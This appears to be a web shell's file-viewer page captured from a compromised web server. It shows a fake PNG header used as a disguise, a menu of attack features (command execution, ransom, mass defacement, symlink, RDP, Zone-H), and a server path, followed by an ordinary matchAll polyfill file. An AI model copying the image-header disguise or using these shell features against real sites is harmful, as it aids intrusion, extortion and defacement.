\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/frontend/node_modules/string.prototype.matchall/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/frontend/node_modules/string.prototype.matchall/shim.js |
'use strict';
var define = require('define-properties');
var hasSymbols = require('has-symbols')();
var gOPD = require('gopd');
var getPolyfill = require('./polyfill');
var regexpMatchAllPolyfill = require('./polyfill-regexp-matchall');
var defineP = Object.defineProperty;
module.exports = function shimMatchAll() {
var polyfill = getPolyfill();
define(
String.prototype,
{ matchAll: polyfill },
{ matchAll: function () { return String.prototype.matchAll !== polyfill; } }
);
if (hasSymbols) {
// eslint-disable-next-line no-restricted-properties
var symbol = Symbol.matchAll || (Symbol['for'] ? Symbol['for']('Symbol.matchAll') : Symbol('Symbol.matchAll'));
define(
Symbol,
{ matchAll: symbol },
{ matchAll: function () { return Symbol.matchAll !== symbol; } }
);
if (defineP && gOPD) {
var desc = gOPD(Symbol, symbol);
if (!desc || desc.configurable) {
defineP(Symbol, symbol, {
configurable: false,
enumerable: false,
value: symbol,
writable: false
});
}
}
var regexpMatchAll = regexpMatchAllPolyfill();
var func = {};
func[symbol] = regexpMatchAll;
var predicate = {};
predicate[symbol] = function () {
return RegExp.prototype[symbol] !== regexpMatchAll;
};
define(RegExp.prototype, func, predicate);
}
return polyfill;
};